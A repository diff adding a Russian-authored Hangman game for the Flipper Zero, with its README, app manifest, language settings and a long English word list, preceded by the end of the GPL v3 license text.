+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.

+ 12 - 0
non_catalog_apps/hangman_game/README.md

@@ -0,0 +1,12 @@
+# Игра «Виселица» («Балда»)
+Первая русскоязычная программа для Flipper Zero.
+
+Правила очень просты — «Флиппер» загадывает слово, вам надо его отгадать, выбирая буквы. Если буква встречается, она будет нарисована на той позиции или позициях,
+где она встречается в слове, если нет, то будет нарисована часть «виселицы». Если «виселица» нарисуется полностью, вы проиграете, если угадаете слово раньше, выиграете.
+
+![По-русски](https://github.com/bolknote/Flipper-Zero-Hangman-Game/assets/392509/a95ea4a0-d9b3-421d-bc0a-eabe00a6c6ff)
+
+![По-английски](https://github.com/bolknote/Flipper-Zero-Hangman-Game/assets/392509/7c33ba65-9e0f-42a4-92bd-b3801c03aef4)
+
+* Программист: Евгений Степанищев (@bolknote)
+* Иллюстратор: Ева Степанищева

+ 14 - 0
non_catalog_apps/hangman_game/application.fam

@@ -0,0 +1,14 @@
+App(
+    appid="hangman",
+    name="Hangman",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="hangman_main",
+    fap_category="Games",
+    fap_file_assets="files",
+    fap_icon_assets="images",
+    fap_icon="hangman.png",
+    fap_author="Evgeny Stepanischev, Eva Stepanischeva",
+    fap_weburl="https://github.com/bolknote/Flipper-Zero-Hangman-Game",
+    fap_description="Hangman for Flipper",
+    fap_version=(1, 4),
+)

BIN
non_catalog_apps/hangman_game/catalog/0.png


BIN
non_catalog_apps/hangman_game/catalog/1.png


BIN
non_catalog_apps/hangman_game/catalog/2.png


BIN
non_catalog_apps/hangman_game/catalog/3.png


+ 8 - 0
non_catalog_apps/hangman_game/files/english.bolk

@@ -0,0 +1,8 @@
+english.dict
+8
+3
+65
+41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a
+Okay
+You won!
+You loose!

+ 2479 - 0
non_catalog_apps/hangman_game/files/english.dict

@@ -0,0 +1,2479 @@
+ABACK
+ABAFT
+ABANDONED
+ABASHED
+ABERRANT
+ABHORRENT
+ABIDING
+ABJECT
+ABLAZE
+ABLE
+ABNORMAL
+ABOARD
+ABORIGINAL
+ABORTIVE
+ABOUNDING
+ABRASIVE
+ABRUPT
+ABSENT
+ABSORBED
+ABSORBING
+ABSTRACTED
+ABSURD
+ABUNDANT
+ABUSIVE
+ACCEPTABLE
+ACCESSIBLE
+ACCIDENTAL
+ACCURATE
+ACID
+ACIDIC
+ACOUSTIC
+ACRID
+ACTUALLY
+ADAMANT
+ADAPTABLE
+ADDICTED
+ADHESIVE
+ADJOINING
+ADORABLE
+ADVENTUROUS
+AFRAID
+AGGRESSIVE
+AGONIZING
+AGREEABLE
+AHEAD
+AJAR
+ALCOHOLIC
+ALERT
+ALIKE
+ALIVE
+ALLEGED
+ALLURING
+ALOOF
+AMAZING
+AMBIGUOUS
+AMBITIOUS
+AMUCK
+AMUSED
+AMUSING
+ANCIENT
+ANGRY
+ANIMATED
+ANNOYED
+ANNOYING
+ANXIOUS
+APATHETIC
+AQUATIC
+AROMATIC
+ARROGANT
+ASHAMED
+ASPIRING
+ASSORTED
+ASTONISHING
+ATTRACTIVE
+AUSPICIOUS
+AUTOMATIC
+AVAILABLE
+AVERAGE
+AWAKE
+AWARE
+AWESOME
+AWFUL
+AXIOMATIC
+BARBAROUS
+BASHFUL
+BAWDY
+BEAUTIFUL
+BEFITTING
+BELLIGERENT
+BENEFICIAL
+BENT
+BERSERK
+BEST
+BETTER
+BEWILDERED
+BILLOWY
+BITTER
+BIZARRE
+BLACK
+BLOODY
+BLUE
+BLUSHING
+BOILING
+BOORISH
+BORED
+BORING
+BOUNCY
+BOUNDLESS
+BRAINY
+BRASH
+BRAVE
+BRAWNY
+BREAKABLE
+BREEZY
+BRIEF
+BRIGHT
+BRIGHT
+BROAD
+BROKEN
+BROWN
+BUMPY
+BURLY
+BUSTLING
+BUSY
+CAGEY
+CALCULATING
+CALLOUS
+CALM
+CAPABLE
+CAPRICIOUS
+CAREFUL
+CARELESS
+CARING
+CAUTIOUS
+CEASELESS
+CERTAIN
+CHANGEABLE
+CHARMING
+CHEAP
+CHEERFUL
+CHEMICAL
+CHIEF
+CHILDLIKE
+CHILLY
+CHIVALROUS
+CHUBBY
+CHUNKY
+CLAMMY
+CLASSY
+CLEAN
+CLEAR
+CLEVER
+CLOISTERED
+CLOUDY
+CLOSED
+CLUMSY
+CLUTTERED
+COHERENT
+COLD
+COLORFUL
+COLOSSAL
+COMBATIVE
+COMFORTABLE
+COMMON
+COMPLETE
+COMPLEX
+CONCERNED
+CONDEMNED
+CONFUSED
+CONSCIOUS
+COOING
+COOL
+COOPERATIVE
+COORDINATED
+COURAGEOUS
+COWARDLY
+CRABBY
+CRAVEN
+CRAZY
+CREEPY
+CROOKED
+CROWDED
+CRUEL
+CUDDLY
+CULTURED
+CUMBERSOME
+CURIOUS
+CURLY
+CURVED
+CURVY
+CUTE
+CUTE
+CYNICAL
+DAFFY
+DAILY
+DAMAGED
+DAMAGING
+DAMP
+DANGEROUS
+DAPPER
+DARK
+DASHING
+DAZZLING
+DEAD
+DEADPAN
+DEAFENING
+DEAR
+DEBONAIR
+DECISIVE
+DECOROUS
+DEEP
+DEEPLY
+DEFEATED
+DEFECTIVE
+DEFIANT
+DELICATE
+DELICIOUS
+DELIGHTFUL
+DEMONIC
+DELIRIOUS
+DEPENDENT
+DEPRESSED
+DERANGED
+DESCRIPTIVE
+DESERTED
+DETAILED
+DETERMINED
+DEVILISH
+DIDACTIC
+DIFFERENT
+DIFFICULT
+DILIGENT
+DIREFUL
+DIRTY
+DISAGREEABLE
+DISASTROUS
+DISCREET
+DISGUSTED
+DISGUSTING
+DISILLUSIONED
+DISPENSABLE
+DISTINCT
+DISTURBED
+DIVERGENT
+DIZZY
+DOMINEERING
+DOUBTFUL
+DRAB
+DRACONIAN
+DRAMATIC
+DREARY
+DRUNK
+DULL
+DUSTY
+DUSTY
+DYNAMIC
+DYSFUNCTIONAL
+EAGER
+EARLY
+EARSPLITTING
+EARTHY
+EASY
+EATABLE
+ECONOMIC
+EDUCATED
+EFFICACIOUS
+EFFICIENT
+EIGHT
+ELASTIC
+ELATED
+ELDERLY
+ELECTRIC
+ELEGANT
+ELFIN
+ELITE
+EMBARRASSED
+EMINENT
+EMPTY
+ENCHANTED
+ENCHANTING
+ENCOURAGING
+ENDURABLE
+ENERGETIC
+ENORMOUS
+ENTERTAINING
+ENTHUSIASTIC
+ENVIOUS
+EQUABLE
+EQUAL
+ERECT
+ERRATIC
+ETHEREAL
+EVANESCENT
+EVASIVE
+EVEN
+EXCELLENT
+EXCITED
+EXCITING
+EXCLUSIVE
+EXOTIC
+EXPENSIVE
+EXUBERANT
+EXULTANT
+FABULOUS
+FADED
+FAINT
+FAIR
+FAITHFUL
+FALLACIOUS
+FALSE
+FAMILIAR
+FAMOUS
+FANATICAL
+FANCY
+FANTASTIC
+FASCINATED
+FAST
+FAULTY
+FEARFUL
+FEARLESS
+FEEBLE
+FEIGNED
+FEMALE
+FERTILE
+FESTIVE
+FIERCE
+FILTHY
+FINE
+FINICKY
+FIRST
+FIVE
+FIXED
+FLAGRANT
+FLAKY
+FLASHY
+FLAT
+FLAWLESS
+FLIMSY
+FLIPPANT
+FLOWERY
+FLUFFY
+FLUTTERING
+FOAMY
+FOOLISH
+FOREGOING
+FORGETFUL
+FORTUNATE
+FOUR
+FRAIL
+FRAGILE
+FRANTIC
+FREE
+FREEZING
+FREQUENT
+FRESH
+FRETFUL
+FRIENDLY
+FRIGHTENED
+FRIGHTENING
+FULL
+FUMBLING
+FUNCTIONAL
+FUNNY
+FURRY
+FURTIVE
+FUTURE
+FUTURISTIC
+FUZZY
+GABBY
+GAINFUL
+GAMY
+GAPING
+GARRULOUS
+GAUDY
+GENERAL
+GENTLE
+GIANT
+GIDDY
+GIFTED
+GIGANTIC
+GLAMOROUS
+GLEAMING
+GLIB
+GLISTENING
+GLORIOUS
+GLOSSY
+GODLY
+GOOD
+GOOFY
+GORGEOUS
+GRACEFUL
+GRANDIOSE
+GRATEFUL
+GRATIS
+GRAY
+GREASY
+GREAT
+GREEDY
+GREEN
+GREY
+GRIEVING
+GROOVY
+GROTESQUE
+GROUCHY
+GRUBBY
+GRUESOME
+GRUMPY
+GUARDED
+GUILTLESS
+GULLIBLE
+GUSTY
+GUTTURAL
+HABITUAL
+HALF
+HALLOWED
+HALTING
+HANDSOME
+HANDSOMELY
+HANDY
+HANGING
+HAPLESS
+HAPPY
+HARD
+HARMONIOUS
+HARSH
+HATEFUL
+HEADY
+HEALTHY
+HEARTBREAKING
+HEAVENLY
+HEAVY
+HELLISH
+HELPFUL
+HELPLESS
+HESITANT
+HIDEOUS
+HIGH
+HIGHFALUTIN
+HILARIOUS
+HISSING
+HISTORICAL
+HOLISTIC
+HOLLOW
+HOMELESS
+HOMELY
+HONORABLE
+HORRIBLE
+HOSPITABLE
+HUGE
+HULKING
+HUMDRUM
+HUMOROUS
+HUNGRY
+HURRIED
+HURT
+HUSHED
+HUSKY
+HYPNOTIC
+HYSTERICAL
+ICKY
+IDIOTIC
+IGNORANT
+ILLEGAL
+ILLUSTRIOUS
+IMAGINARY
+IMMENSE
+IMMINENT
+IMPARTIAL
+IMPERFECT
+IMPOLITE
+IMPORTANT
+IMPORTED
+IMPOSSIBLE
+INCANDESCENT
+INCOMPETENT
+INCONCLUSIVE
+INDUSTRIOUS
+INCREDIBLE
+INEXPENSIVE
+INFAMOUS
+INNATE
+INNOCENT
+INQUISITIVE
+INSIDIOUS
+INSTINCTIVE
+INTELLIGENT
+INTERESTING
+INTERNAL
+INVINCIBLE
+IRATE
+IRRITATING
+ITCHY
+JADED
+JAGGED
+JAZZY
+JEALOUS
+JITTERY
+JOBLESS
+JOLLY
+JOYOUS
+JUDICIOUS
+JUICY
+JUMBLED
+JUMPY
+JUVENILE
+KAPUT
+KEEN
+KIND
+KINDHEARTED
+KINDLY
+KNOTTY
+KNOWING
+KNOWLEDGEABLE
+KNOWN
+LABORED
+LACKADAISICAL
+LACKING
+LAME
+LAMENTABLE
+LANGUID
+LARGE
+LAST
+LATE
+LAUGHABLE
+LAVISH
+LAZY
+LEAN
+LEARNED
+LEFT
+LEGAL
+LETHAL
+LEVEL
+LEWD
+LIGHT
+LIKE
+LIKEABLE
+LIMPING
+LITERATE
+LITTLE
+LIVELY
+LIVELY
+LIVING
+LONELY
+LONG
+LONGING
+LOOSE
+LOPSIDED
+LOUD
+LOUTISH
+LOVELY
+LOVING
+LOWLY
+LUCKY
+LUDICROUS
+LUMPY
+LUSH
+LUXURIANT
+LYING
+LYRICAL
+MACABRE
+MACHO
+MADDENING
+MADLY
+MAGENTA
+MAGICAL
+MAGNIFICENT
+MAJESTIC
+MAKESHIFT
+MALE
+MALICIOUS
+MAMMOTH
+MANIACAL
+MANY
+MARKED
+MASSIVE
+MARRIED
+MARVELOUS
+MATERIAL
+MATERIALISTIC
+MATURE
+MEAN
+MEASLY
+MEATY
+MEDICAL
+MEEK
+MELLOW
+MELODIC
+MELTED
+MERCIFUL
+MERE
+MESSY
+MIGHTY
+MILITARY
+MILKY
+MINDLESS
+MINIATURE
+MINOR
+MISCREANT
+MISTY
+MIXED
+MOANING
+MODERN
+MOLDY
+MOMENTOUS
+MOTIONLESS
+MOUNTAINOUS
+MUDDLED
+MUNDANE
+MURKY
+MUSHY
+MUTE
+MYSTERIOUS
+NAIVE
+NAPPY
+NARROW
+NASTY
+NATURAL
+NAUGHTY
+NAUSEATING
+NEAR
+NEAT
+NEBULOUS
+NECESSARY
+NEEDLESS
+NEEDY
+NEIGHBORLY
+NERVOUS
+NEXT
+NICE
+NIFTY
+NIMBLE
+NINE
+NIPPY
+NOISELESS
+NOISY
+NONCHALANT
+NONDESCRIPT
+NONSTOP
+NORMAL
+NOSTALGIC
+NOSY
+NOXIOUS
+NULL
+NUMBERLESS
+NUMEROUS
+NUTRITIOUS
+NUTTY
+OAFISH
+OBEDIENT
+OBEISANT
+OBESE
+OBNOXIOUS
+OBSCENE
+OBSEQUIOUS
+OBSERVANT
+OBSOLETE
+OBTAINABLE
+OCEANIC
+OFFBEAT
+OMNISCIENT
+ONEROUS
+OPEN
+OPPOSITE
+OPTIMAL
+ORANGE
+ORDINARY
+ORGANIC
+OSSIFIED
+OUTGOING
+OUTRAGEOUS
+OUTSTANDING
+OVAL
+OVERCONFIDENT
+OVERJOYED
+OVERRATED
+OVERT
+OVERWROUGHT
+PAINFUL
+PAINSTAKING
+PALE
+PALTRY
+PANICKY
+PANORAMIC
+PARALLEL
+PARCHED
+PARSIMONIOUS
+PAST
+PASTORAL
+PATHETIC
+PEACEFUL
+PENITENT
+PERFECT
+PERIODIC
+PERMISSIBLE
+PERPETUAL
+PETITE
+PETITE
+PHOBIC
+PHYSICAL
+PICAYUNE
+PINK
+PIQUANT
+PLACID
+PLAIN
+PLANT
+PLASTIC
+PLAUSIBLE
+PLEASANT
+PLUCKY
+POINTLESS
+POISED
+POLITE
+POLITICAL
+POOR
+POSSESSIVE
+POSSIBLE
+POWERFUL
+PRECIOUS
+PREMIUM
+PRESENT
+PRETTY
+PREVIOUS
+PRICEY
+PRICKLY
+PRIVATE
+PROBABLE
+PRODUCTIVE
+PROFUSE
+PROTECTIVE
+PROUD
+PSYCHEDELIC
+PSYCHOTIC
+PUBLIC
+PUFFY
+PUMPED
+PUNY
+PURPLE
+PURRING
+PUSHY
+PUZZLED
+PUZZLING
+QUACK
+QUAINT
+QUARRELSOME
+QUESTIONABLE
+QUICK
+QUICKEST
+QUIET
+QUIRKY
+QUIXOTIC
+QUIZZICAL
+RABID
+RACIAL
+RAGGED
+RAINY
+RAMBUNCTIOUS
+RAMPANT
+RAPID
+RARE
+RASPY
+RATTY
+READY
+REAL
+REBEL
+RECEPTIVE
+RECONDITE
+REDUNDANT
+REFLECTIVE
+REGULAR
+RELIEVED
+REMARKABLE
+REMINISCENT
+REPULSIVE
+RESOLUTE
+RESONANT
+RESPONSIBLE
+RHETORICAL
+RICH
+RIGHT
+RIGHTEOUS
+RIGHTFUL
+RIGID
+RIPE
+RITZY
+ROASTED
+ROBUST
+ROMANTIC
+ROOMY
+ROTTEN
+ROUGH
+ROUND
+ROYAL
+RUDDY
+RUDE
+RURAL
+RUSTIC
+RUTHLESS
+SABLE
+SAFE
+SALTY
+SAME
+SASSY
+SATISFYING
+SAVORY
+SCANDALOUS
+SCARCE
+SCARED
+SCARY
+SCATTERED
+SCIENTIFIC
+SCINTILLATING
+SCRAWNY
+SCREECHING
+SECOND
+SECRET
+SECRETIVE
+SEDATE
+SEEMLY
+SELECTIVE
+SELFISH
+SEPARATE
+SERIOUS
+SHAGGY
+SHAKY
+SHALLOW
+SHARP
+SHINY
+SHIVERING
+SHOCKING
+SHORT
+SHRILL
+SHUT
+SICK
+SILENT
+SILENT
+SILKY
+SILLY
+SIMPLE
+SIMPLISTIC
+SINCERE
+SKILLFUL
+SKINNY
+SLEEPY
+SLIM
+SLIMY
+SLIPPERY
+SLOPPY
+SLOW
+SMALL
+SMART
+SMELLY
+SMILING
+SMOGGY
+SMOOTH
+SNEAKY
+SNOBBISH
+SNOTTY
+SOFT
+SOGGY
+SOLID
+SOMBER
+SOPHISTICATED
+SORDID
+SORE
+SORE
+SOUR
+SPARKLING
+SPECIAL
+SPECTACULAR
+SPICY
+SPIFFY
+SPIKY
+SPIRITUAL
+SPITEFUL
+SPLENDID
+SPOOKY
+SPOTLESS
+SPOTTED
+SPOTTY
+SPURIOUS
+SQUALID
+SQUARE
+SQUEALING
+SQUEAMISH
+STAKING
+STALE
+STANDING
+STATUESQUE
+STEADFAST
+STEADY
+STEEP
+STEREOTYPED
+STICKY
+STIFF
+STIMULATING
+STINGY
+STORMY
+STRAIGHT
+STRANGE
+STRIPED
+STRONG
+STUPENDOUS
+STUPID
+STURDY
+SUBDUED
+SUBSEQUENT
+SUBSTANTIAL
+SUCCESSFUL
+SUCCINCT
+SUDDEN
+SULKY
+SUPER
+SUPERB
+SUPERFICIAL
+SUPREME
+SWANKY
+SWEET
+SWELTERING
+SWIFT
+SYMPTOMATIC
+SYNONYMOUS
+TABOO
+TACIT
+TACKY
+TALENTED
+TALL
+TAME
+TANGIBLE
+TANGY
+TART
+TASTEFUL
+TASTELESS
+TASTY
+TAWDRY
+TEARFUL
+TEDIOUS
+TEENY
+TELLING
+TEMPORARY
+TENDER
+TENSE
+TENSE
+TENUOUS
+TERRIBLE
+TERRIFIC
+TESTED
+TESTY
+THANKFUL
+THERAPEUTIC
+THICK
+THIN
+THINKABLE
+THIRD
+THIRSTY
+THIRSTY
+THOUGHTFUL
+THOUGHTLESS
+THREATENING
+THREE
+THUNDERING
+TIDY
+TIGHT
+TIGHTFISTED
+TINY
+TIRED
+TIRESOME
+TOOTHSOME
+TORPID
+TOUGH
+TOWERING
+TRANQUIL
+TRASHY
+TREMENDOUS
+TRICKY
+TRITE
+TROUBLED
+TRUCULENT
+TRUE
+TRUTHFUL
+TYPICAL
+UBIQUITOUS
+UGLIEST
+UGLY
+ULTRA
+UNABLE
+UNACCOUNTABLE
+UNADVISED
+UNARMED
+UNBECOMING
+UNBIASED
+UNCOVERED
+UNDERSTOOD
+UNDESIRABLE
+UNEQUAL
+UNEQUALED
+UNEVEN
+UNHEALTHY
+UNINTERESTED
+UNIQUE
+UNKEMPT
+UNKNOWN
+UNNATURAL
+UNRULY
+UNSIGHTLY
+UNSUITABLE
+UNTIDY
+UNUSED
+UNUSUAL
+UNWIELDY
+UNWRITTEN
+UPBEAT
+UPPITY
+UPSET
+UPTIGHT
+USED
+USEFUL
+USELESS
+UTOPIAN
+UTTER
+UTTERMOST
+VACUOUS
+VAGABOND
+VAGUE
+VALUABLE
+VARIOUS
+VAST
+VENGEFUL
+VENOMOUS
+VERDANT
+VERSED
+VICTORIOUS
+VIGOROUS
+VIOLENT
+VIOLET
+VIVACIOUS
+VOICELESS
+VOLATILE
+VORACIOUS
+VULGAR
+WACKY
+WAGGISH
+WAITING
+WAKEFUL
+WANDERING
+WANTING
+WARLIKE
+WARM
+WARY
+WASTEFUL
+WATERY
+WEAK
+WEALTHY
+WEARY
+WHIMSICAL
+WHISPERING
+WHITE
+WHOLE
+WHOLESALE
+WICKED
+WIDE
+WIGGLY
+WILD
+WILLING
+WINDY
+WIRY
+WISE
+WISTFUL
+WITTY
+WOEBEGONE
+WOMANLY
+WONDERFUL
+WOODEN
+WOOZY
+WORKABLE
+WORRIED
+WORTHLESS
+WRATHFUL
+WRETCHED
+WRONG
+YELLOW
+YIELDING
+YOUNG
+YOUTHFUL
+YUMMY
+ZANY
+ZEALOUS
+ZESTY
+ZIPPY
+ZONKED
+ACCOUNT
+ACHIEVER
+ACOUSTICS
+ACTION
+ACTIVITY
+ACTOR
+ADDITION
+ADJUSTMENT
+ADVERTISEMENT
+ADVICE
+AFTERMATH
+AFTERNOON
+AFTERTHOUGHT
+AGREEMENT
+AIRPLANE
+AIRPORT
+ALARM
+AMOUNT
+AMUSEMENT
+ANGER
+ANGLE
+ANIMAL
+ANTS
+APPARATUS
+APPAREL
+APPLIANCE
+APPROVAL
+ARCH
+ARGUMENT
+ARITHMETIC
+ARMY
+ATTACK
+ATTRACTION
+AUNT
+AUTHORITY
+BABIES
+BABY
+BACK
+BADGE
+BAIT
+BALANCE
+BALL
+BASE
+BASEBALL
+BASIN
+BASKET
+BASKETBALL
+BATH
+BATTLE
+BEAD
+BEAR
+BEDROOM
+BEDS
+BEEF
+BEGINNER
+BEHAVIOR
+BELIEF
+BELIEVE
+BELL
+BELLS
+BERRY
+BIKE
+BIKES
+BIRD
+BIRDS
+BIRTH
+BIRTHDAY
+BITE
+BLADE
+BLOOD
+BLOW
+BOARD
+BOAT
+BOMB
+BONE
+BOOK
+BOOKS
+BOOT
+BORDER
+BOTTLE
+BOUNDARY
+BRAKE
+BRANCH
+BRASS
+BREATH
+BRICK
+BRIDGE
+BROTHER
+BUBBLE
+BUCKET
+BUILDING
+BULB
+BURST
+BUSHES
+BUSINESS
+BUTTER
+BUTTON
+CABBAGE
+CABLE
+CACTUS
+CAKE
+CAKES
+CALCULATOR
+CALENDAR
+CAMERA
+CAMP
+CANNON
+CANVAS
+CAPTION
+CARD
+CARE
+CARPENTER
+CARRIAGE
+CARS
+CART
+CAST
+CATS
+CATTLE
+CAUSE
+CAVE
+CELERY
+CELLAR
+CEMETERY
+CENT
+CHALK
+CHANCE
+CHANGE
+CHANNEL
+CHEESE
+CHERRIES
+CHERRY
+CHESS
+CHICKEN
+CHICKENS
+CHILDREN
+CHIN
+CHURCH
+CIRCLE
+CLAM
+CLASS
+CLOTH
+CLOVER
+CLUB
+COACH
+COAL
+COAST
+COAT
+COBWEB
+COIL
+COLLAR
+COLOR
+COMMITTEE
+COMPANY
+COMPARISON
+COMPETITION
+CONDITION
+CONNECTION
+CONTROL
+COOK
+COPPER
+CORN
+COUGH
+COUNTRY
+COVER
+COWS
+CRACK
+CRACKER
+CRATE
+CRAYON
+CREAM
+CREATOR
+CREATURE
+CREDIT
+CRIB
+CRIME
+CROOK
+CROW
+CROWD
+CROWN
+CURRENT
+CURTAIN
+CURVE
+CUSHION
+DAUGHTER
+DEATH
+DEBT
+DECISION
+DEER
+DEGREE
+DESIGN
+DESIRE
+DESK
+DESTRUCTION
+DETAIL
+DEVELOPMENT
+DIGESTION
+DIME
+DINNER
+DINOSAURS
+DIRECTION
+DIRT
+DISCOVERY
+DISCUSSION
+DISTANCE
+DISTRIBUTION
+DIVISION
+DOCK
+DOCTOR
+DOGS
+DOLL
+DOLLS
+DONKEY
+DOOR
+DOWNTOWN
+DRAIN
+DRAWER
+DRESS
+DRINK
+DRIVING
+DROP
+DUCK
+DUCKS
+DUST
+EARTH
+EARTHQUAKE
+EDGE
+EDUCATION
+EFFECT
+EGGNOG
+EGGS
+ELBOW
+ENGINE
+ERROR
+EVENT
+EXAMPLE
+EXCHANGE
+EXISTENCE
+EXPANSION
+EXPERIENCE
+EXPERT
+EYES
+FACE
+FACT
+FAIRIES
+FALL
+FANG
+FARM
+FEAR
+FEELING
+FIELD
+FINGER
+FINGER
+FIRE
+FIREMAN
+FISH
+FLAG
+FLAME
+FLAVOR
+FLESH
+FLIGHT
+FLOCK
+FLOOR
+FLOWER
+FLOWERS
+FOLD
+FOOD
+FOOT
+FORCE
+FORK
+FORM
+FOWL
+FRAME
+FRICTION
+FRIEND
+FRIENDS
+FROG
+FROGS
+FRONT
+FRUIT
+FUEL
+FURNITURE
+GATE
+GEESE
+GHOST
+GIANTS
+GIRAFFE
+GIRL
+GIRLS
+GLASS
+GLOVE
+GOLD
+GOVERNMENT
+GOVERNOR
+GRADE
+GRAIN
+GRANDFATHER
+GRANDMOTHER
+GRAPE
+GRASS
+GRIP
+GROUND
+GROUP
+GROWTH
+GUIDE
+GUITAR
+HAIR
+HAIRCUT
+HALL
+HAMMER
+HAND
+HANDS
+HARBOR
+HARMONY
+HATE
+HEAD
+HEALTH
+HEAT
+HILL
+HISTORY
+HOBBIES
+HOLE
+HOLIDAY
+HOME
+HONEY
+HOOK
+HOPE
+HORN
+HORSE
+HORSES
+HOSE
+HOSPITAL
+HOUR
+HOUSE
+HOUSES
+HUMOR
+HYDRANT
+ICICLE
+IDEA
+IMPULSE
+INCOME
+INCREASE
+INDUSTRY
+INSECT
+INSTRUMENT
+INSURANCE
+INTEREST
+INVENTION
+IRON
+ISLAND
+JAIL
+JEANS
+JELLY
+JELLYFISH
+JEWEL
+JOIN
+JUDGE
+JUICE
+JUMP
+KETTLE
+KICK
+KISS
+KITTENS
+KITTY
+KNEE
+KNIFE
+KNOT
+KNOWLEDGE
+LABORER
+LACE
+LADYBUG
+LAKE
+LAMP
+LAND
+LANGUAGE
+LAUGH
+LEATHER
+LEGS
+LETTER
+LETTERS
+LETTUCE
+LEVEL
+LIBRARY
+LIMIT
+LINE
+LINEN
+LIQUID
+LOAF
+LOCK
+LOCKET
+LOOK
+LOSS
+LOVE
+LUMBER
+LUNCH
+LUNCHROOM
+MACHINE
+MAGIC
+MAID
+MAILBOX
+MARBLE
+MARK
+MARKET
+MASK
+MASS
+MATCH
+MEAL
+MEASURE
+MEAT
+MEETING
+MEMORY
+METAL
+MICE
+MIDDLE
+MILK
+MIND
+MINE
+MINISTER
+MINT
+MINUTE
+MIST
+MITTEN
+MONEY
+MONKEY
+MONTH
+MOON
+MORNING
+MOTHER
+MOTION
+MOUNTAIN
+MOUTH
+MOVE
+MUSCLE
+NAME
+NATION
+NECK
+NEED
+NEEDLE
+NERVE
+NEST
+NIGHT
+NOISE
+NORTH
+NOSE
+NOTE
+NOTEBOOK
+NUMBER
+OATMEAL
+OBSERVATION
+OCEAN
+OFFER
+OFFICE
+ORANGE
+ORANGES
+ORDER
+OVEN
+PAGE
+PAIL
+PANCAKE
+PAPER
+PARCEL
+PART
+PARTNER
+PARTY
+PASSENGER
+PAYMENT
+PEACE
+PEAR
+PENCIL
+PERSON
+PEST
+PETS
+PICKLE
+PICTURE
+PIES
+PIGS
+PIPE
+PIZZAS
+PLACE
+PLANE
+PLANES
+PLANT
+PLANTATION
+PLANTS
+PLASTIC
+PLATE
+PLAY
+PLAYGROUND
+PLEASURE
+PLOT
+PLOUGH
+POCKET
+POINT
+POISON
+POLLUTION
+POPCORN
+PORTER
+POSITION
+POTATO
+POWDER
+POWER
+PRICE
+PRODUCE
+PROFIT
+PROPERTY
+PROSE
+PROTEST
+PULL
+PUMP
+PUNISHMENT
+PURPOSE
+PUSH
+QUARTER
+QUARTZ
+QUEEN
+QUESTION
+QUICKSAND
+QUIET
+QUILL
+QUILT
+QUINCE
+QUIVER
+RABBIT
+RABBITS
+RAIL
+RAILWAY
+RAIN
+RAINSTORM
+RAKE
+RANGE
+RATE
+REACTION
+READING
+REASON
+RECEIPT
+RECESS
+RECORD
+REGRET
+RELATION
+RELIGION
+REPRESENTATIVE
+REQUEST
+RESPECT
+REST
+REWARD
